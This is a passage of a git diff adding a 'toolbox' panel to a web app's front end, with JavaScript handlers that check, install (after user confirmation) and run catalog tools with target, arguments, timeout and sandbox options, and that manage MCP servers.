`; +} + +async function toolboxCheck(id) { + const r = await api(`/api/tools/${encodeURIComponent(id)}/check`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sandbox: !!$('#toolboxSandbox')?.checked }) }); + const check = Array.isArray(r) ? r[0] : r; + if (check) toolboxState.check[id] = check; + renderToolbox(); +} + +document.addEventListener('click', async (ev) => { + const el = ev.target.closest('[data-tool-action]'); + if (!el || !el.closest('#toolboxBody')) return; + const action = el.dataset.toolAction; + const id = el.dataset.id || ''; + try { + if (action === 'select') { toolboxState.selected = id; renderToolbox(); return; } + if (action === 'check') { await toolboxCheck(id); return; } + if (action === 'install') { + if (!window.confirm(`Install ${id}? This runs the catalog installer (apt/pipx/go/...) with your permission.`)) return; + const r = await api('/api/tools/install', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ tool: id, sandbox: !!$('#toolboxSandbox')?.checked }) }); + toolboxState.output = JSON.stringify(r, null, 2); + await toolboxCheck(id); + return; + } + if (action === 'run') { + if (!toolboxState.selected) return; + const target = $('#toolboxTarget')?.value.trim() || ''; + const args = $('#toolboxArgs')?.value.trim() || ''; + const r = await api('/api/tools/run', { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + tool: toolboxState.selected, target, args, + sandbox: !!$('#toolboxSandbox')?.checked, + provision: !!$('#toolboxProvision')?.checked, + timeout: Number($('#toolboxTimeout')?.value) || 300, + }), + }); + toolboxState.output = `$ ${r.command}\n${r.timed_out ? '[TIMED OUT]\n' : ''}${r.stdout || ''}${r.stderr ? `\n--- stderr ---\n${r.stderr}` : ''}`; + renderToolbox(); + return; + } + if (action === 'profiles') { + const r = await api('/api/tools/profiles'); + toolboxState.profiles = (r || []).map((p) => `${p.mode.padEnd(10)} ${(p.tools || []).join(', ')}`).join('\n'); + renderToolbox(); + return; + } + if (action === 'mcp-add' || action === 'mcp-remove') { + const r = await api('/api/mcp/servers', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ action: action === 'mcp-add' ? 'add' : 'remove', server: id }) }); + toolboxState.mcp = r; + renderToolbox(); + return; + } + if (action === 'mcp-test') { + const r = await api('/api/mcp/servers/test', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ server: id }) }); + toast(`${id}: ${r.ok ? 'OK' : 'not ready'} — ${r.detail || ''}`, r.ok ? 'info' : 'error', 8000); + return; + } + } catch (e) { + toast(e.message, 'error', 9000); + } +}); + +$('#btnToolboxRefresh')?.addEventListener('click', () => loadToolbox()); + // --------------------------------------------------------------------------- // boot // --------------------------------------------------------------------------- diff --git a/web/public/index.html b/web/public/index.html index 09a3c80..be20a09 100644 --- a/web/public/index.html +++ b/web/public/index.html @@ -51,6 +51,8 @@
+ + @@ -262,6 +264,32 @@ + + + + + +